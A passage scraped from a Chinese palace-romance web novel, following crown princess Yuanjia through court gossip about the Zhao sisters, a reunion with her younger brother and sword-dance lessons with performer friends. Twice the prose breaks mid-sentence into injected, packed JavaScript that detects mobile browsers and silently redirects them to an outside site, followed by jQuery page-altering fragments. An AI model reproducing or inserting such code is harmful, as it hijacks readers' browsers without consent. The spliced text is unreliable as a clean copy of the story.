只是,连她自己都不曾察觉,她与赵妍和的神情在这一刻出奇地相似──唇角虽还勾着,脸上却找不到任何的笑痕。待到元嘉的身影彻底消失,两张肖似的脸上更只剩下了漠然。 而这幅场景,元嘉没有看见,几步外屈膝行礼的田夫人自然也不会看见。 而等到田夫人再上前为赵舒和引路时,二人面上已不见萎顿之色,两双手更是亲热地握在一起,姊妹间有说有笑地朝东暖阁走去。 …… 元嘉回到清宁宫,先将酒奉与娄皇后,这才提起许贤妃未在淑景殿一事。 娄皇后倒始终笑盈盈地听着,半点不觉冒犯,“这才像她性子呢。前两年为着阿旭,便是端王家的那个,一日里大半时间都留在寝殿。如今端王要娶新妇了,她也可自在了。贤妃只怕高兴的很呢!” “儿臣头先去的时候,正好瞧见赵大娘子与端王家小郎君说话的场面,”元嘉回想起方才所见之景,“那小郎君倒似和大娘子熟稔的很。” “妍娘确是个招小孩儿喜欢的,不过几日工夫便叫阿旭与她黏在一处了,”娄皇后倒也不否认,“这是好事,贤妃也可更放心些。” 元嘉默然。 娄皇后口中的好事,无非是怕赵妍和来日为端王妃,对先王妃留下的稚子不慈。如今看到两人相处和睦,娄皇后也好,许贤妃也罢,都是乐见其成的。 元嘉这一来一回,耽搁的时间委实有些多了,也早过了三人往日出宫的时辰。 时值踆乌高悬,秋热亦未退,沸气透过门阶,在地面拖出一道道颀长的光影。殿中诸人皆严丝密缝地裹着一身礼衣,此刻已有些耐不住热意,额间隐隐有汗水沁出。 娄皇后显然也意识到了,赐下几枚香包,另说了两句话便让人退下了。 三人自是无有不应。 待迈出殿门,早有等候两边的宫人执伞上前,为元嘉三人遮去仍旧刺目的日光──想来也是娄皇后吩咐的。元嘉微微低头,将身躯藏于这一小片阴影之中,虽热气不减,却也比在内殿坐着时少了几分气闷。 顺着伞骨移动的方向下阶,元嘉将将走到宫门外,还不等上辇,便被一道稍显稚嫩的声音唤住了。 元嘉顿住身子回头,待瞧清楚人后立刻便笑了,“五弟。” 燕景知疾行几步走到元嘉跟前,规矩地与几人见完礼,方开口道:“问嫂嫂安。” “五弟是下学了吗?” 元嘉半蹲着身子与燕景知齐平,笑道:“跑这样快,仔细出一身的汗。” 说罢,又不自觉往燕景知的身后扫了一圈,除了随行的宫女内侍,并无其他人,自然也没有季元淳的身影。 元嘉有些失望地收回视线,刚直起身便瞧见燕景知正挤眉弄眼地朝自己示意着什么。不等元嘉反应,身后便陡然传来几声低呼,一具温热的躯体旋即贴住元嘉后背,带着不管不顾的架势。 “阿姊!” 季元淳将头埋在元嘉后腰处,发出几声含混不清的呼唤。 而元嘉,被这突如其来的力道撞得踉跄几步,连鬓间的玉石串珠也跟着晃了几晃,带出一阵混乱的轻响。还没来得及动火,便听见季元淳这一声低唤。 无声叹了口气,元嘉将手覆在季元淳拴在自己腰间的手背上,作势打了两下,方道:“可抱够了?” 季元淳姿势不改,只将头狠狠摇了两下,抱住元嘉的力道却更大了。 这是被元嘉上次生气吓到了,怕一松手,自家阿姊就又不在了。 元嘉自然也心知肚明。可大庭广众之下,又被一堆人围簇着,元嘉虽有心安慰,却实在不好开口,只好略使了使劲,先将季元淳挣开,又把人从身后拉到自己面前。 季元淳倒也乖觉,感受到元嘉的力道后,便顺从地松开了手,只是在转到元嘉跟前后,又反手握住了前者的一只手腕。 宫人们早低下了头,唯有燕景知饶有兴趣地盯着季元淳不放。 “哎呀,季小郎君这是多久没见到太子妃了,可是想阿姊了?” 倪娉柔适时插了句话,便也将季元淳的异样含糊了过去。 只是,这样继续在外头站着也不是办法。元嘉遂蹲下身子,直视着季元淳的双眼,道:“淳弟的病可好全了?” “嗯。” 季元淳瘪着嘴点了点头,显然被季母特意交代过。 “那等淳弟下次休沐,阿姊来接你下学,好不好?” 元嘉眼中掠过一丝笑意。 “好!” 季元淳两只眼睛顿时亮了起来,可随即又有些不确信起来,“真的?” “自然是真的。之前是你病着,母亲怕过了病气不许人探望,我出宫的时辰又总是与你下学的时候错开,这才隔得久了。” 元嘉拉着季元淳的手晃了几晃,又道:“来月休沐,我定来接你。” 季元淳放下心来,握着元嘉的手也不自觉减了力道。元嘉这才起身,牵着季元淳往燕景知的方向走去,见他一脸眼笑眉飞的模样,便知这两人的关系又亲近不少。 元嘉这才安心许多,又将燕景知揽到身边,一边一个把人送到有檐角遮掩的阴影处,叮嘱道:“虽入秋了,可白日里还是晒得很,玩耍时注意着些,别生热病,可也不要贪凉吃多了冷食,回头闹起肚子来仍是遭罪。今日迟了些,我还得回太子府,便只能下次再找你们说话了。” 季元淳得了元嘉的准话,当下便老实点头,燕景知也收敛了神色,规矩地向元嘉告别。 “嫂嫂再见,我会照顾好小淳的!” 一副小兄长的模样。 元嘉忍俊不禁,抬手抚了抚二人发顶,正欲离开,忽又想起什么,低头解下腰间佩袋,从里面取出两枚镂空状的圆形囊球,回手递与季元淳与燕景知。 “还以为阿姊忘记了!” 季元淳这下是半分委屈都没了,兴冲冲地把东西收下,立时便系在了自己的腰间,一副宝贝得不行的模样。 燕景知不明所以,却仍跟着接了过来,只是下意识带了几份茫然朝元嘉望去。 “这是用来驱避蚊虫、提神醒脑的香球,”元嘉笑着解释道,“原是我母亲每年都做的,后来长大了些,我便也学着给自家弟妹们做了。五弟不要嫌弃,只拿它做个配饰,挂在身上、或是挂在床帷中,都好。” 又朝季元淳道:“早该给你的,只是这些日子一直见不到你,是以每每进宫都总装在自己的佩袋里,想着若是遇上你了,能够亲自给你。” 燕景知摩挲着圆球镂空的表面,等听完元嘉的话,更是高兴道:“这是嫂嫂送我的礼物,我如何会嫌弃。景安定会和小淳一样,珍重爱护它的!” 说着也像季元淳一般,将囊球挂在了自己的腰侧。 “五弟喜欢就好。” 元嘉笑得眉眼弯弯,退后两步回到刘、倪二人身边,这才与之道别,又目送二人进了清宁宫后,方才上辇离开。 “都怪我,只顾着和他们说话,倒叫你们陪我在这太阳底下站得久了。” 元嘉坐在辇上,显出几分愧疚。 “女君说的是什么话,咱们头上可都撑着伞呢,再热又能热到哪里去?”刘婵温言道,“倒是女君您,今日见到了季小郎君,怕是高兴得很。” “是啊,”元嘉喃喃道,“这才多久没见,我竟觉得他又长高了不少,连身子骨都要更结实了……” “小孩子么,一个不留神,就长大了。” 刘婵柔声道。 “可性子却是半分没改的,还跟过去一样冒失,真是恼人。” 元嘉收回思绪,笑得颇为无奈。 “咱们可都瞧着呢,女君分明是极喜爱自家弟弟的,”倪娉柔掩嘴一笑,“这脸上的笑痕都没下去过!” “……是吗?” 元嘉下意识抚上自己的脸,而后便听到倪娉柔压低了声调的轻笑,当即反应过来,“好哇,良娣也来打趣我了,看来这杏花醉,良娣是无福享用了。” “不成不成,妾还想尝一尝贤妃娘娘酿的酒呢!”倪娉柔自然知道元嘉是没有生气的,遂故意讨饶道,“便是匀妾一杯也好呀!” 一句话说得迂回婉转,倒先把刘婵给逗笑了,跟着元嘉也笑出声来,最后连倪娉柔自己,也不免展袖掩笑。 一通玩笑下来,倒也驱散了些许热气。眼瞧着要到外宫门了,三人才各自敛了神色,重新端坐起来,一行人渐渐消失在长街尽头。由始至终,都没有人提起赵舒和,还有她身处淑景殿的姊姊一句…… 清宁宫内。 娄皇后温言几句将燕景知送走,又将服侍的人打发大半,只留下兰佩几个近身伺候。 “您便是有心纾解,可赵二娘子却未必能明白您的苦心呢。” 说这话的,竟是本该在御苑采剪花枝的许贤妃。 “什么苦不苦心的,我可从来都不是个好心人?” 娄皇后轻笑一声,“只是这样小的年纪进宫,来日是好是坏,皆凭运气……我总念着她母亲在宫里与我一同受教一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329394|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场,不免可怜她女儿罢了。” “这个年纪,是可惜了,分明和太子妃一般年岁,竟要与咱们做姊妹了,”许贤妃拈了颗果子在指尖,“阿姊可知陛下心意?这几年宫里没有新人,陛下往后宫来的也少,妹妹还以为陛下早无心后宫事了呢。” 许贤妃称呼起娄皇后来倒格外的亲昵,两人的关系显然极好。 “那日端王也在,他就没跟你这个母妃交个底?” 娄皇后反问道。 “可别提那混账东西了,”许贤妃神色微黯,将果子掷回碟中,“他嫌妍娘颜色一般,自从被陛下指了婚后,便又不肯来我的淑景殿了。好在陛下也不许他出王府,倒不怕他又闯祸。” 顿了顿,又道:“我倒瞧着妍娘哪里都好,阿旭也喜欢。” “赵大娘子倒也罢了,与端王岁数相差不大,又有你这么个疼惜媳妇的,只要性子略强些,将来总不会吃亏的。” 娄皇后面向许贤妃而坐,“赵二娘子么,便端看个人造化了。” “……什么?” 许贤妃一时没有听清。 “你头先不是问我,陛下何以看中了赵二娘子吗?” 许贤妃有些迟疑地点头。 “江时海说,那日在西山别院,陛下瞧见赵二娘子作半仙戏了。” 娄皇后淡淡道。 “不过是荡秋千罢了,这有什么特别的?” 许贤妃不解道。 “妹妹细想想,这宫里有多长时间没有热闹过了?” “这……” 许贤妃顿了一下,方低声道,“自陛下圣体欠安后便再没有了,算来也已好几年了。” 年初虽也有为太子选妃特意设下的赏菊宴,可设宴的地方是远离光熹帝寝殿的西海池,参席的又大半是宫外的女眷,光熹帝自然不会过来。 “江时海说,陛下觉得那孩子身上有股勃勃向上的生气,看着叫人舒心,索性便召进宫了。” 娄皇后叹了口气。 “那、妍娘?” “赵大娘子我倒没细问,可听说也是与二娘子一起被瞧见的,想来也是有她的特别之处,才会被陛下选中的吧。” 娄皇后端过茶盏,“你不也觉得赵大娘子挺好的吗?” “是,可、这叫什么事呀,”许贤妃唉了一声,“小的那个倒成长辈了。” 见娄皇后神色悠闲地自斟自饮,许贤妃又蹙着眉头道:“福昌郡主最是不喜欢妍娘的生母,她姊妹二人更是素来不睦的。您今日借故让她俩叙话,怕不是做无用功?” “从前不睦的,往后未必不睦。从前和睦的,也未必一直和睦,”娄皇后慢条斯理道,“这些年姊妹生仇的,咱们在宫里见的还少吗?” 说着又瞧了许贤妃一眼,“倒是你,如今怎生了这许多的慈悲心肠,到底是做君姑的人了,与从前是不一样了。” 许贤妃语气淡淡,“我何曾慈悲过?只是总念着龚家娘子不易,自己又实在生愧,便只有将这份心思给如今的这位了。” “当年未能亲自抚育端王,非你之过,宫规使然。”娄皇后语气中夹着一丝不满,“他如今这副性子,也不是你养就的。苗贤妃种的因,何必你这个贤妃来受。” “可我就他这一个儿子,我也总是盼着他好的。”许贤妃面露惆怅,“当年他娶龚家娘子,我就总怕他觉得我摆母亲的架子,是以事事避嫌。可结果呢,龚家娘子亡故,只剩阿旭一个在世上无依无靠。如今再娶这赵家娘子,我已然不求他二人夫妻缱绻,但求彼此康顺,无灾无病的就好。” “那你只管把心收回肚子里去,”娄皇后口气和缓了些,“赵大娘子不比先王妃,能在福昌郡主手下长成的,哪会是什么吃亏性子。” “我就是担心那小子轻视妍娘是庶女出身,王府里又还有个颇受宠爱的宋孺人……” 许贤妃的脸色并未因娄皇后的宽慰而好上几分,反而蹙起了两弯秀眉。 “你给过宋孺人机会的,是她自己立不起来罢了。这么几年了,若是想母凭子贵,那便替端王生个一儿半女出来,抬她做王妃也算是有根有据。既没有孩子,那便收起心思,好生抚育阿旭,凭她教养世子、料理王府的功劳,来日亦有功成名立之时。” 娄皇后放下杯盏,冷着脸道:“可如今呢,不过是纵着端王到处寻欢作乐罢了。端王喜欢又如何,不过是图她三分相貌,既担不起王妃二字,那便安生让路好了。” 娄皇后说着,又看向许贤妃,一副恨铁不成钢的模样,“你这是怎么了,每次遇上端王的事,就全然没了章法。若放在平时,你哪会看不出其中关窍,真是白长了颗玲珑心!” “我、我……” 许贤妃苦笑一声,“我就是心里过不去。端王回到我身边的时候,都是十几岁的半大小子了。这中间缺掉的母子情谊,是我无论如何也弥补不回来的,是以我总想……罢了罢了,提他做甚,妹妹今日是特意找阿姊吃酒的,这些事情说得多了,便扰人兴致了,咱们吃酒!” 说罢,端过酒盏便仰头饮下。 娄皇后拧了拧眉,见许贤妃微露疲态,终是顺着不再多言,只另拿起酒盏一饮而尽。 72. 且尽欢 果如赵舒和所言,不过三日,宫里便正式下了册封的诏令。 正五品才人,赐居承欢殿。 一切的一切,与赵舒和当日所说的分毫不差。唯有一点区别,便是光熹帝还为赵舒和拟了封号,是个“荣”字。 宫里今后再称呼赵舒和,便不是赵二娘子了,而是、荣才人。 “……荣才人?” 元嘉喃喃道。 “是,听说荣才人很得陛下喜欢,”兰华为元嘉新斟了盏茶,“近日若有伴驾,陛下多属意荣才人去。承欢殿还新扎了个秋千架子,又移了许多珍贵草木过去呢。” “荣才人……” 元嘉像是没听到兰华的话一般,只低声重复着。 “女君、是好奇荣才人的封号?” 兰华柔声问道。 元嘉被一声“女君”唤回了神,干脆顺着这话问道:“不瞒姑姑,我确是有些好奇的。许是我进宫的次数少,见的人也还不够多,印象中倒少有以封号相称的娘娘们,反是称呼姓氏的多。” “今上也许多年未下赐封号了,”兰华仍是轻声细语,“如今有封号的,多是早年间进宫的嫔妃。数年伴驾,便非一宫主位,也是宫里的老人了,自不用靠封号再与同姓之人区分。至于后进宫的,无陛下属意,礼部自也不会去做拟选封号的事情,故而多以年纪称呼大小娘子。荣才人如今得陛下亲赐封号,可见是极受恩宠的。” “姑姑,‘荣’字有什么特殊的含义吗?陛下为何选了这个字做赵娘、荣才人的封号呢?” 拂冬正坐在一旁缠着丝线,闻言显出几分好奇。 兰华一时微愣,少顷有些不确定道:“荣有显贵、尊荣之意,想是陛下喜欢荣才人,特意选了这个字,以示对荣才人的看重吧。” 拂冬似懂非懂地点点头,虽还是有些困惑,却也知趣地不再多问。倒是元嘉,一副若有所思的模样,连喝茶的动作也放缓了。 “……女君?” 兰华又唤了一声,而后恍然,“倒是奴婢忘了,女君前次入宫是见过荣才人的,可是这封号有什么奴婢们不知道的特殊之处?还请女君替咱们解解惑。” 元嘉今日愣神的次数有些多了,或许该说,自三日前从宫里出来,元嘉发愣的时候就多了许多。不是盯在一处出神,就是在与别人说话时突然没了声响。 此刻听见兰华询问,元嘉使劲闭了闭眼,换作一副再正常不过的模样,这才笑着摇摇头,道:“我也是不知道的。只是听姑姑说起陛下往承欢殿移植草木的事情,便陡然想起这‘荣’字本指桐木,又含草木繁盛之意,荣才人的封号或许有此含义。可转头又想,这封号多讲究吉意,哪里会像我这般,只求其面上之意,便又觉得是自己猜错了,少不得愣了一会。” 说着,又埋头啜饮了一口茶水,也借此遮掩住自己略显僵硬的表情。 兰佩一直坐在元嘉侧旁,只看得清前者小半张脸的表情,如今听见元嘉始终不见异常的平稳声调,便也自然道:“许是二者皆有呢。” 带着些许附和的意味。 正当时,有宫女进门来报,道熙宁公主前来拜访,马车已驶进太子府了。 元嘉有些惊讶,她并没有收到燕景璇的拜帖,想是前者兴之所至,便就直接过来了。 元嘉忙唤人摆上果子,又重新沏了茶,还未喘口气,便见燕景璇戴着幕篱、领着侍女们跨门而入。郑华照例随在身后,却没有进门,只在槛外守着。 元嘉的视线在幕篱上停留几瞬,而后自然上前,唤了句“皇姊”。 兰华亦是屈膝行礼。 “兰华姑姑也在?” 燕景璇并不摘帽,只掀开身前两片轻纱,露出完整的一张脸,又笑着朝兰华问好。 “太子殿下怕太子妃长日无聊,临行前特意叮嘱奴婢,让奴婢时常往太子府来,也好为太子妃说些宫中趣事。” 兰华直起身子,温言道。 “太子的意思?”燕景璇似乎笑了一下,“那本宫问你,祁弟出去了这么些时候,可有给太子妃送过家书?” “公主这是为难奴婢呢,”兰华无奈一笑,“想来若有书信,也是先交予陛下与皇后殿下的,哪能让奴婢代为转交呢。” 燕景璇似乎只是随口一问,听完兰华的话也只是点头,再没有继续追问。 倒是兰华自觉道:“太子妃既有公主相伴,奴婢就先告退了。” “如此,便不留姑姑了。” 燕景璇微微一笑,不等元嘉开口便直接允了。 兰华面色如常,再次行礼后便转身离开了。 元嘉没有说话,只看着兰话的身影远去,方朝燕景璇道:“皇姊今日怎么戴起幕篱了?” 燕景璇不语,只抬手解开系于颈下的丝带。倒是始终跟在燕景璇身侧的一人,掀了纱帘,又露出双带笑的眸子望着元嘉。 “你……” 元嘉面露惊讶,随即展颜而笑,又朝左右道:“屋里闷得很,还不快去竹林那处另摆茶果,我要同皇姊好好说会儿话,今日就不见别人了。” 逢春几人虽有惑意,却也按着元嘉的吩咐,在紧邻长春馆的竹林深处新上了茶点,又细心添置了一番,这才请元嘉与燕景璇移步。 这期间,元嘉将大半注意力都留在了另几个离得稍远,却同样头戴幕篱的女子身上。燕景璇早取下了幕篱,正拿在手里把玩,见元嘉视线来回飘移,少不得一笑,“你这是做甚,一会儿到那什么竹林里了,叫她们把幕篱取下来,让你一个一个的慢慢看,可好?” 说着又咦了一声,奇怪道:“我来这儿的次数也不少了,怎不知道你这院子旁边还有个竹林?” 元嘉这才收回视线,“我见刘良娣的竹香馆栽了好些翠竹,又好看又遮阴,便命人移了一片过来。只是才新栽没多久,瞧着没有竹香馆那片繁茂罢了。” “莫不是、祁弟离京后移的?” 燕景璇又问道。 “我成日在院子里待着也是无趣,找些事情做罢了。” 元嘉也不否认。 “你呀,”燕景璇竟有些遗憾,“分明是新婚的夫妇,怎么就半点不关心夫婿的行程……他此趟是否顺利?身体又是否康健?你倒好,只对自家门前种什么花草感兴趣。” 元嘉却不以为意,笑着坐回榻上,仰头朝燕景璇道:“皇姊说什么呢,太子如今不是诸事顺遂吗,又何必我白操心一场,还不如做些喜欢的事情打发时间呢。” “……你何以如此笃定?” 燕景璇奇道。 “若是不顺,皇姊也不会有心思往我这儿来了,”元嘉笑意不减,“是也不是?” “这一晃都小两个月了,他倒捡懒,连封家书也不肯写。” 燕景璇没有回答,只又绕回了家书的事情。也不知是否是元嘉听错了,总觉得这话里面,隐约带了几丝不满的意味。 只是,她也确实不在意就是了。 遂道:“太子此行是公差,办的又是彰显我朝气度的大事,自当诸事奏陈父皇,又何必特意予我书信呢?再者,我观母后近来神色,见她眉宇疏阔,面带红润,帝后一体,想来前朝也是风平浪静的,太子自然也就诸事顺遂了。” 燕景璇还欲说些什么,却被身后人扯了扯袖角,又适逢红玉进屋来请,这才偃旗息鼓,只跟着元嘉往竹林而去。 一路上,燕景璇不时便侧头打量元嘉,见她神态自若,嘴角还带着一丝若有若无的笑意,便知这人在燕景祁离开的这些日子里过得不差,对燕景祁的动向也是真的不放在心上。 可这本也是情理之中──元嘉成为太子妃还不到半年,如今更直接与燕景祁分隔两地,又谈何情谊呢? 燕景璇默默收回视线,又在心底叹了口气。这本不是她该操心的,可她是真的喜欢元嘉的性子,又因这段时日的相处生出几分真心,所以在听过马车上的那些话以后,便总希望元嘉能与她这个弟弟的感情好些,再好些。 薛神妃不也没有孩子吗,可太子妃之位到死都被她牢牢攥在手心。其中固然有她自己的苦心经营,可更多的,还是燕景祁喜欢她,愿意处处予她尊贵体面。 而元嘉,哪里不如薛神妃了呢? 燕景璇有些出神地想着,不知不觉间已行至元嘉口中的竹林,却看不出半点新移的样子,分明是繁茂的翠绿。燕景璇收敛了心绪,先赞了一声,目光又扫过逢春几个,这才缓步上前,又细细打量起来。 元嘉本也是为了方便说话才选的这个地方,此刻不必燕景璇示意,便已抬了手命人退下。不多时,竹林里只剩下郑华,和跟在燕景璇身边、至今没有取下幕篱的几人了。 服侍的人一走,燕景璇便收回了四处打量的目光,只旋身坐在石凳上,又给自己斟了满杯的茶。 “胡玉楼一别,庄娘子近来可好?” 元嘉也跟着坐了下来,却不是要和燕景璇说话,只朝着头戴幕篱的其中一人笑问道。 “得您记挂,妾身一切都好。” 庄映秋摘下幕篱,用她那如水一般的眸子望着元嘉,眼尾眉梢是从未变过的柔和笑意。说话间,庄映秋身后的两人也跟着取下幕篱,竟也是元嘉在胡玉楼里见过的——沈阿翘与孙荆玉。 “这是……” 元嘉的话里带着明显的诧异。 “原是怕祁弟走的太久,你在府里呆得无聊,特意过来予你解闷的。”燕景璇放下瓷盏,另换了个姿势撑住下颌,“可今日看来,你自个儿倒潇洒快活的很。” 元嘉抿嘴一笑,先请庄映秋几人入座,又一一替人将茶斟满,方道:“皇姊自个儿说说,一直呆在西山别院不肯回来的人是谁?” 庄映秋偏过头一笑,显然知道些内情──燕景璇不乐意回京,更不乐意在那日以后再听到赵家姊妹的近况。可这副明显玩笑的表情,燕景璇看了也不见恼怒,只浅浅发出一声轻嗤,“左右也没什么新鲜事,待在上京亦是无趣,便干脆不回来了。” “庄娘子也去了西山别院吗?” 看着两人的反应,元嘉猜测道。 “是,”庄映秋温声道,“只是怕冲撞贵人,是以初六那日才去的别院。” 元嘉顿时了然,又问起沈阿翘与孙荆玉来,“那沈娘子和孙娘子也同在西山别院了?” “虽在,却比庄姊姊又晚了两日。” 沈阿翘笑道。 “得公主相邀,在别院赏了景、游了湖,又与庄姊姊一道补了乐谱、编了新舞,每日都像是不够用一般。” 孙荆玉顺着前者的话,又细声解释了两句。 “新舞?”元嘉饶有兴致,“娘子这句话倒把我的好奇心肠给勾起来了,只是不知胡玉楼何日才会演此新舞?” “早着呢。” 燕景璇撑着下颌随意道,言语间已恢复了熟悉的矜傲模样。 “虽编好了,却还未排过,想来动作也还要再改,”庄映秋抿嘴一笑,“等哪日排好了,定请您过府赏鉴。” “若我得空……一定是要来的。” 话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346112|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽如此,元嘉却并没有抱多大的希望。燕景祁离开上京快两个月了,若按方才所说一切顺利,那么离他回来的日子也不远了。到那时,她过得必定不如眼下自在,便是有燕景璇这个做姊姊的邀约,再想去胡玉楼怕也是难了。 “郑侍卫,可否借您的佩剑一用?” 庄映秋突然起身,行至郑华身侧,温声询问道。 郑华站在竹林的最外沿,本意只是想守着燕景璇,以备不时之需,不想庄映秋突然近身,一时微愣,下意识往燕景璇的方向望去,正好撞进前者带着兴味与笑意的眼底。有些懊恼地拧了拧眉,郑华抬手将佩剑从腰间取了下来,又交至庄映秋手中,叮嘱道:“剑身锋利,娘子小心。” “多谢郑侍卫。” 庄映秋抱住剑,俯身谢过,这才走了回来。 元嘉正在心底猜测着庄映秋的意图,便听前者笑道:“公主怕您憋闷,特意寻了咱们过来凑趣。如今只一味的说话吃茶有什么意思,不若奏曲舞蹈更加来趣。” 这是觉察出她话里的犹豫了? 元嘉一怔,随即展眉而笑,“那自是再好不过了……可这竹林新辟出来不久,我并未放置丝竹管弦一类,只怕是奏不起来了。” “倒也不妨事,”孙荆玉笑道,“这桌上有杯盏,盏内有茶汤,便已足够了。” 沈阿翘顺势从发间拔下一根玉簪,轻轻与杯壁相击,便听到一声短而脆的回响。 见元嘉目不转睛地瞧着,微微一笑,又将玉簪移向其他几个杯盏,依着韵律敲击起来。杯中残留的水量不一,便是敲击出来的声音也是不同的,可据是一样的脆亮好听。 “您瞧,这不就成了?” 庄映秋弯着一双笑眼,柔声道。 说来,庄映秋似乎永远都是一副带笑模样,元嘉也从未瞧见其生气的样子,便连高声说话也是没有的。不管是面对燕景璇或是元嘉,还是其他跟在身边服侍的人,都是一视同仁的礼待……实在很难不让人心生好感。 “跳舞?去不去胡玉楼都能见着,有什么意思。”燕景璇眉梢一挑,显然动了别的心思,“有你这个剑舞大家在,两位行首也都陪着呢,索性教教咱们剑器舞呗!” 虽用的是“咱们”,可一双眼睛瞧着的,却是元嘉,俨然是醉翁之意不在酒了。 “若要习舞,改日去您的公主府便是,如何好借用女君的地盘?” 庄映秋只当没听出燕景璇的言下之意,又笑盈盈地建议起来。倒不是她故意藏私,这剑器舞本就是胡玉楼的看家舞蹈,几乎称得上人人都会,她也记不清自己教过多少人了。可眼下的情况却不一样,与备受帝后宠爱、恣意随性惯了的燕景璇不同,元嘉这重身份,需要顾虑的人和事就太多了。如今借着燕景璇的关系见上几面也就算了,又怎好再让她跟着一个常年混迹在三教九流中的人习舞呢…… 元嘉定定注视着庄映秋,忽而露出一抹极淡的笑,“若是我也想学,便不算皇姊借用地盘了吧……也不知道庄娘子是否愿意收下我这个蠢笨的学生?” “……那便是妾身的荣幸了。” 庄映秋楞了一下,眼中笑意一点点扩大。 说着又站起身,将剑柄往元嘉的方向递了一递,问道:“女君从前可习过舞?” 元嘉抬手抚过剑鞘,感受着指腹间传来的凹凸不平的触感,一路抚到剑柄的繁密花纹处,微微用力,便将泛着银白剑芒的刃身抽了出来。因是男子所用佩剑,入手更为沉重一些。元嘉略回忆了下,手腕微转,便挽出一个漂亮的剑花,半点不见生疏。 “女君这是学过?” 庄映秋有些惊讶。 “倒不算学过,”元嘉笑得开怀,“只是家中有行伍之人,便也跟着练过一招半式,权当强身健体之用罢了。” “已是很好了,”庄映秋温言道,“您既拿过剑,想来学这剑舞会更事半功倍些。” “便借庄娘子吉言了。” 元嘉抿嘴一笑。 “阿翘、荆玉,替我击个调,”庄映秋从背后贴住元嘉,将手掌覆在元嘉的手背之上,又带着笑腔道,“至于公主您,便在一旁瞧着吧,从前也教过您的,只怕早被您抛到九霄云外去了。” 燕景璇被揶揄了一通,却并不反驳,只歪着脑袋,眉梢带笑地瞧着眼前的热闹。 这厢,庄映秋已开始指点起元嘉的姿势来,“您只管放松就是,顺着我的力道挥动剑柄,先熟悉韵律,再一点一点学动作也不迟。” 下一刻,便转动手腕,带着元嘉舞弄起来,另一只手则揽住元嘉的腰,又引着前者的身体一并作出反应。 这时候,元嘉习过剑的优势便显露出来了。不过几个回合,便已能跟着击节声似模似样的舞个来回。半个白日过去,甚至连动作也学了个囫囵,只是时日尚短,且带不出庄映秋舞剑时的光彩罢了。 庄映秋的教习初现成效,元嘉亦是一点不见疲累,但因燕景璇还要赶着回宫与娄皇后共进晚膳,今日这场小聚遂无奈停于日影西垂之时。 元嘉仍有些意犹未尽,却也知道庄映秋实不好在燕景璇离开后继续留在太子府,遂只能遗憾地看着几人重新戴好幕篱,又分坐不同的马车离开。好在临行前得庄映秋相告,道燕景璇今次会在公主府多住一些时日,期间若往太子府来,她也会一并过府,届时再陪着元嘉习舞。 如此,便再没什么舍不得的了。 只是,若燕景祁能再迟些回来便好了……这样,她便可以暂时将自己只当作季娘子,而不是季太子妃。 73. 闻归期 那之后每隔三日,燕景璇都会驾车过府,而庄映秋也会跟着公主府的车驾一并前来。至深秋时节,元嘉已能舞出庄映秋剑舞中的几丝神韵,又因习过剑的缘故,行云流水间更多三分锐气。 这期间,上京城内倒一片平静。许是今年秋热过甚的缘故,便连设宴邀朋的也少了许多,茶余饭后的闲谈也始终集中在广平侯府的两位娘子身上,尤其是赵舒和。 赵舒和月前已晋了正四品美人,虽非主位,却已然得了旨意,搬到正殿去住了。 升迁之快,令人侧目。 便连季母也闻得此事,元嘉领着季元淳回季家时,还特意问起赵家娘子在宫内的近况,知道赵舒和诸事尚算顺遂后,便也没再多言。 这也不过闲语琐事,并不被元嘉过多在意。 倒是柳安沅,近来实在反常。不说元嘉,便连穆瑶筝也许久未约到人一同玩乐了,好在平日里还有书信往来,倒不算失了联系。 可,实在是叫人好奇。 柳安沅最是喜好热闹的,往常待在家中超过半日,便要央着靖安郡主放她出门的。这段日子倒好,不止变得大门不出二门不迈了,听季母说,还开始向她请教起侍弄花草的事情了。 桩桩件件,都与柳安沅一贯的脾性截然相反。 元嘉正思忖着,突然想起季母提起柳安沅时的忍笑模样,又见她书信里通篇的躲闪言辞,脑中灵光骤现,下意识呀了一声。 莫不是…… 若真是她想的那样,还真是要有大好事了。元嘉忍不住笑出声来,因燕景祁回程而有些低落的心绪此刻也略微高涨了些。 是的,燕景祁已在回程的路上了。 可讽刺的是,她并不是从男人那里知道这个消息的。告诉元嘉的,是欧阳沁寄来的信,是燕景璇不经意间在她面前说出的话,更是某日进宫请安时娄皇后直白的点明。 好在到最后,燕景祁还是向太子府送了信回来。哪怕收到信时,距元嘉知道消息后已过去了五日,距燕景祁出发也已过去了近十日。而那封宣告着燕景祁归期的信,也不过被元嘉草草扫视了两眼,之后就静置在了书案上,不再管过。 “……女君。” 逢春小心推开屋门,上前几步替元嘉换上新沏的茶。早前端进来的那一盏已不见氤氲热气,可杯中的分量却丝毫未减,显然直到那茶凉透,也不曾有人饮过一口。 元嘉却恍若未闻,仍保持着逢春进门时的姿势——歪坐在书案后头,手里拈了张染了墨渍的宣纸,皱着眉头不知在想些什么。 逢春下意识放轻了脚步,收敛了动作正欲离开,却被元嘉出声唤住—— “你留下,替我研墨。” 逢春诶了一声,又绕到书案的另一侧,拿起墨块开始研磨。笔洗里的水是浑浊的,砚台里也还有干涸的墨迹,分明就是已经研磨过的样子,只是放置的时间过长,又凝在了一起。 再看铺陈于桌面的宣纸,有些被胡乱揉成一团扔在角落,有些随意落了两字又被更大的墨团糊住,有些甚至连字都没有,只是被墨点不小心晕出来几缕轮廓,便被扔弃在桌脚。 